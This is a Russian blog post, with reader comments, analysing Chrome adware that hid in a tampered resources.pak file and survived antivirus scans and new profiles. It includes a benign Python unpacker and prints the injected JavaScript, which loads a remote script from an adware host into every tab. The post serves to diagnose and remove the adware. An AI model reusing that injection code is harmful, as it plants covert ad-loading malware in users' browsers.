Новый adware встраивается непосредственно в браузер

    Появился новый вид adware, который встраивается в сам браузер.


    Очередной компьютер с жалобой на рекламу в браузере — как обычно по словам пользователя ничего не запускалось, но факт налицо — реклама вылазит почти на каждом сайте из всех щелей и подменяются поисковые запросы. Обычно большинство подобных проблем решаются сразу же за пять минут с помощью AntiSMS, затем проверяется журнал работы программы и при необходимости подчищаются хвосты вроде сторонних расширений в браузерах, но не в этом случае. Сходу не помогло ничего из обычных средств, даже антивирусы не видели в системе никаких проблем, а потому стало интересно — откуда же берётся реклама?

    Для экономии времени перед ручной работой система была быстро проверена через AVZ, Dr.Web CureIt! и Kaspersky Virus Removal Tool — все отчитались о чистоте системы в то время, как на фоне их работы показывалась та самая реклама. Что характерно, в системе были удалены все остальные браузеры, остался только Google Chrome, да и новые способы заражения встречаются не часто, поэтому на него подозрение пало в последнюю очередь.

    Первым делом был обнаружен рекламный модуль от компании Express Find с этой же легальной цифровой подписью от 8 апреля, совсем свежий. Он использовал одновременно три места автозапуска, однако после его удаления реклама чудесным образом продолжала показываться. Дальнейшее расследование показало, что она остаётся даже при создании нового профиля. Бывало раньше adware обосновывалась там, но здесь разработчики решили проявить креатив, чтобы реклама сопровождала пользователя с любым профилем и под любой учётной записью.

    Дальше была исследована сама папка, в которой Google Chrome был установлен. На вид всё хорошо — все файлы имеют цифровую подпись, ничего необычного. Однако для проверки папка была переименована и тут же установлен новый хром той же версии. Тогда обнаружилось, что файл resources.pak отличается от оригинального и проблема находится именно здесь. Ресурсы сразу же были заменены для проверки и всё подтвердилось — виновник найден. Быстрый поиск для распаковки ресурсов показал следующий скрипт на питоне:

    import collections
    import struct
    import sys
    def ReadFile(filename, encoding):
      mode = 'rb' if encoding == 0 else 'rU'
      with open(filename, mode) as f:
        data = f.read()
      if encoding not in (0, 1):
        data = data.decode(encoding)
      return data
    
    PACK_FILE_VERSION = 4
    HEADER_LENGTH = 2 * 4 + 1  # Two uint32s. (file version, number of entries) and
                               # one uint8 (encoding of text resources)
    def UnpackDataPack(input_file):
      """Reads a data pack file and returns a dictionary."""
      data = ReadFile(input_file, 0)
      original_data = data
    
      # Read the header.
      version, num_entries, encoding = struct.unpack("<IIB", data[:HEADER_LENGTH])
      if version != PACK_FILE_VERSION:
        print "Wrong file version in ", input_file
        raise WrongFileVersion
    
      resources = {}
      if num_entries == 0:
        return DataPackContents(resources, encoding)
    
      # Read the index and data.
      data = data[HEADER_LENGTH:]
      kIndexEntrySize = 2 + 4  # Each entry is a uint16 and a uint32.
      for _ in range(num_entries):
        id, offset = struct.unpack("<HI", data[:kIndexEntrySize])
        data = data[kIndexEntrySize:]
        next_id, next_offset = struct.unpack("<HI", data[:kIndexEntrySize])
        resources[id] = original_data[offset:next_offset]
        filetype = 'bin'
        fileheader = ''.join(original_data[offset:offset+1])
        print ord(fileheader[0])
        if fileheader == '<':
          filetype = 'html'
        if fileheader == '\x89':
          filetype = 'png'
        elif fileheader == '/':
          filetype = 'js'
        of = open('{0}.{1}'.format(id,filetype),'wb')
        of.write(original_data[offset:next_offset])
        of.close()
    def main():
      if len(sys.argv) > 1:
        UnpackDataPack(sys.argv[1])
    
    
    if __name__ == '__main__':
      main()
    


    Им были успешно распакованы две версии ресурсов и после сравнения обнаружилось, что в начало одного из скриптов adware дописал следующий блок:

    chrome.tabs.onUpdated.addListener( function(tabId,changeInfo,tab){ chrome.tabs.executeScript(tabId,{code:" if(!window.blgcran){ window.blgcran = true; var scr=document.createElement('script'); scr.src='https://expressfind-a.akamaihd.net/ExpressFind/cr?t=BLGC&g=ca4874d9-0a3e-4215-9772-67fb5ba1c08a'; document.head.appendChild(scr);} "})});


    Таким образом действующий сайт по https с легальной цифровой подписью загружает рекламу и успешно обходит антивирусы. А новый способ внедрения позволяет методу работать даже после полного удаления adware из системы.
    Поделиться публикацией
    Ой, у вас баннер убежал!

    Ну. И что?
    Реклама
    Комментарии 45
      0
      т.е. способ борьбы — почистить автозапуск и поставить заново броузер.
      А откуда и главное как зараза пролезла?
        +5
        Побуду сегодня капитаном. Автозапуска мало. Службы, планировщик и тупо ярлыки обязательны к просмотру.
          +3
          Очень часто в последнее время натыкаюсь как раз на прописанные в ярлыках сайты и/или ссылки на bat'ники.
            0
            Ещё забыл добавить про проверку «Дополнений» браузеров.
              0
              да это все понятно кэп, службы и планировщик это тоже автозапуск…

              главный вопрос как оно залезает?
                0
                Все случаи что капитан видел, были последствием запуска как-нибудь странных программок, с именем вроде krutaya.mp3.exe или supergame.zip.exe
                Разводы древние как мир до сих пор работают, дело LOVE-LETTER-FOR-YOU.TXT.vbs живо.
                  +1
                  Если гобально — пользователь с админ правами для постоянной работы.
                  Крайне реже — уязвимости в системе. Это реально гораздо реже случается.
                0
                Наверно я использовал данный алгоритм:
                1)Проверил службы, планировщики
                2)Проверка путей в ярлыках
                3)Проверка браузера на предмет сторонних дополнений.
                Если не помогает, тогда переустановка с 0 браузера.
                –17
                > Однако для проверки папка была переименована и тут же установлен новый хром той же версии.
                то есть для проверки вы использовали предоставленный вам компьютер, а не попытались тоже самое повторить на тестовой машине, где установлен полный мониторинг за всеми частями системы с аккаунтом жертвы?

                  –3
                  т.е. хром был установлен в профиль пользователя, так?
                    0
                    Судя по тому, что под другими учётками проблема была — хром установлен в целом на машину, а не для конкретного пользователя.
                      +2
                      Вот имхо зря bitlz заминусовали ибо я, например, тоже не понял из статьи куда был установлен Chrome, а про новых пользователей подумал, что это относится к профилям в самом Chrome.

                      Помимо этого по умолчанию Chrome ставится именно в профиль пользователя.

                      В общем, мне тоже интересны подробности ибо у меня Chrome как раз в Program Files живёт, а SRP (локальные политики) блокируют запуск приложений из мест, куда можно писать без админ прав. В общем, пока, я предполагаю, что мне и моим хомячкам описанные в статье проблемы не грозят.
                        0
                        Проблема, думаю, в админ правах.
                        Наверняка были.
                        Похожая петрушка была как-то, но только добавлялась библиотека в %programfiles%\mozilla firefox
                        После этого так же левые страницы в ff и хроме. Сильно в механизме не разбирался. Но на машине, где отродясь не было ff, данная папка с 1 файлом смотрелась забавно.
                        И опять привет админским правам. Уж сколько раз твердили миру…
                          0
                          Возможно и в админ правах, но тогда возникает ещё более прозаичный вопрос куда делся по умолчанию включенный механизм UAC.
                            0
                            Не исключаю, конечно, вероятности, что зараза умудрилась вылезти из песочницы через очередную уязвимость Win32k из процесса Chrome, который при этом ещё был запущен с админ правами при включённом UAC, но тогда это уже какой-то слишком суровый и экзотический способ поставить именно адварь. Вариант повышения прав за счёт уязвимости я сразу исключаю ибо такие эксплойты обычно значительно сложнее.
                          0
                          Ну понятно, господа продвинутые юзеры и админы, похоже, расходимся. У меня этот файл в Program Files и просто так его не переписать.

                          P.S. Google «молодцы» конечно, ибо уже неоднократно нарушили всевозможные гайдлайны как по безопасности, так и по дизайну, от этого собственно и описанная в топике проблема.
                        –1
                        Мне в таких случаях помогла данная штука http://virusinfo.info/showthread.php?t=146192
                          0
                          AdwCleaner поможет вычистить автозагрузку, службы, планировщик и т.п. Т.е. пути проникновения скрипта. Но вряд ли AdwCleaner (по крайней мере, текущая версия) найдёт скрипт в pak-файле Chrome.
                            0
                            Не уверен что проблема действительно новая, но с чем-то очень подобным я тоже столкнулся месяца три назад.
                            Правда реклама там всплывала и в хроме и в ФФ. Отчеты антивирусов были чисты (правда я тогда еще не знал про галку с нежелательными программами). AdwCleaner таки помог.
                              0
                              У «рекламных» adware много путей внедрения в систему. От банальных расширений к браузерам, до описанного в статье метода.
                            –1
                            Спасибо. Не знал про такое, тоже помогло. А то не знал как эту заразу на ноуте девушки прибить уже.
                            0
                            Столкнулся с такой же проблемой. У меня установлен flash block и ad block и я пользуюсь Ubuntu.
                            С некоторых пор стала появляться иконка заблокированного флеша в левом верхнем углу. Так же я во время работы в инст. разработчика в хроме заметил, что на странице генерируется iframe, которого нет у меня в коде.
                            Стал смотреть куда ведет адрес с флеша через flash block. И он точно такой же как в этой статье — akamaihd.net
                            Я думал это от какого-то расширения, пробовал отключать — все остается так же.

                            В итоге я просто добавил правило в adblock и блокировал этот элемент с флеш. Сгенерированный iframe так и появляется в коде страницы, но его не видно и он не мешает…
                            Так что проблема действительно существует.
                              +7
                              akamaihd.net это просто CDN Akamai. Очень большой и распространенный. Там много чего может быть от кого угодно.
                                0
                                А могут с Akamai какие-нибудь гадости заливаться? Сталкивались когда-нибудь?
                                  0
                                  Туда что угодно можно залить, оно для этого и предназначено. Заливаешь один файл, его выкачивают, он распространяется по огромному количеству кеширующих серверов по всему миру, предоставляя возможность юзерам качать максимально быстро без всяких p2p. Только за трафик плати.
                                  Но не думаю, что Акамаи очень уж абузоустойчив. Подозреваю, что если накатать жалобу на этот expressfind из статьи выше, предоставить доказательства, может с ними и разберутся.
                                  Вы главное не вздумайте весь акамаи блочить по домену, много чего полезного распространяется через него. Максимум — поддомен, в нашем случае, «expressfind-a.akamaihd.net».
                                    0
                                    Да это понятно, что не блочить. Просто у меня Akamai как-то с обновлениями Windows в основном ассоциировался. Выходит, зря.)
                                    А у вас, часом, не найдется какой-нибудь истории из личного опыта со зловредом на Akamai? С кровавыми подробностями и скандальными разоблачениями?
                                      0
                                      Нет, лично с таким не сталкивался. Сам использую Akamai в мирных целях.
                                        0
                                        Понятно. Спасибо за ответы!
                              0
                              А хром у вас был последней версии? Вроде как обновление проверяет CRC.
                                +1
                                CRC или криптографически стойкую цифровую подпись?
                                +1
                                Интересно все-таки узнать способ проникновения. Может тот Хром скачали с левого сайта?
                                  +1
                                  Кстати, я не перестаю удивляться, почему так сложно повнимательнее почитать ссылки в гугле и скачать БЕСПЛАТНЫЙ софт с оригинального сайта, а не с какой-то левой софтопомойки, которая в каждый инсталлятор засовывает кучу adware.
                                  Особенно, когда домашний сайт проекта и имя домена совпадают.
                                  +1
                                  Файлы случайно не этими сертификатами подписаны?
                                  habrahabr.ru/company/infopulse/blog/255251/
                                    0
                                    Google SRT попробуйте в следующий раз)
                                    • НЛО прилетело и опубликовало эту надпись здесь
                                        0
                                        Кстати, а что за поставщик рекламы здесь используется? И почему он не против такого вида размещения рекламы?
                                          +2
                                          Новый adware встраивается непосредственно в браузер
                                          По заголовку поста ожидал увидеть сам механизм встраивания, либо хоть какой-то намек на это. Думал, что в хроме есть какая-то уязвимость, либо что-то вроде этого, позволяющая зловреду так прописаться

                                          И, кстати…
                                          Быстрый поиск для распаковки ресурсов показал следующий скрипт на питоне
                                          Несколько раз перечитал предложение. Спасибо, мой мозг взорван
                                            0
                                            Это плохой перевод с рекламой.

                                            Quick search for unpacking resources showed the following script in Python — в оригинале
                                              +2
                                              Вы правы, и вправду перевод: it-supernova.com/new-adware-that-integrates-directly-into-the-browser

                                              Получается, что пост нарушает сразу несколько правил Хабра: реклама, отсутствие метки перевод. Из «моральных» правил: выдача чужой статьи за свою. Некрасиво
                                                0
                                                Вы что, с ума посходили? Какой-то сайт украл у меня статью, сделав перевод с русского на английский. А рекламу где увидели?
                                                  0
                                                  Реклама в первом же абзаце — не делайте вид, что не в курсе.
                                                  Хорошо, пусть статья ваша — почему комментарии к коду на английском? Учитывая, что писали на русском, правильным тоном было бы дать и комментарии к коду на русском
                                                    0
                                                    Если нет рекламы и статья всё-таки ваша — зачем мне карму минуснули?
                                                    Будь я на вашем месте и, если бы статья была моей, я бы и значения не придал таким комментариям
                                              +2
                                              Пост про борьбу с рекламой, а все ради рекламной ссылки автора, в первом же абзаце до ката…
                                                +1
                                                Интересно, какой идиот минусует? Замечание абсолютно справедливо, реклама на хабре запрещена правилами (по крайней мере, вне корпоративного блога).
                                                0
                                                Интересно, что скажет akamai, пустивший в свой CDN такое, да ещё и согласился отдавать по https.

                                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                Самое читаемое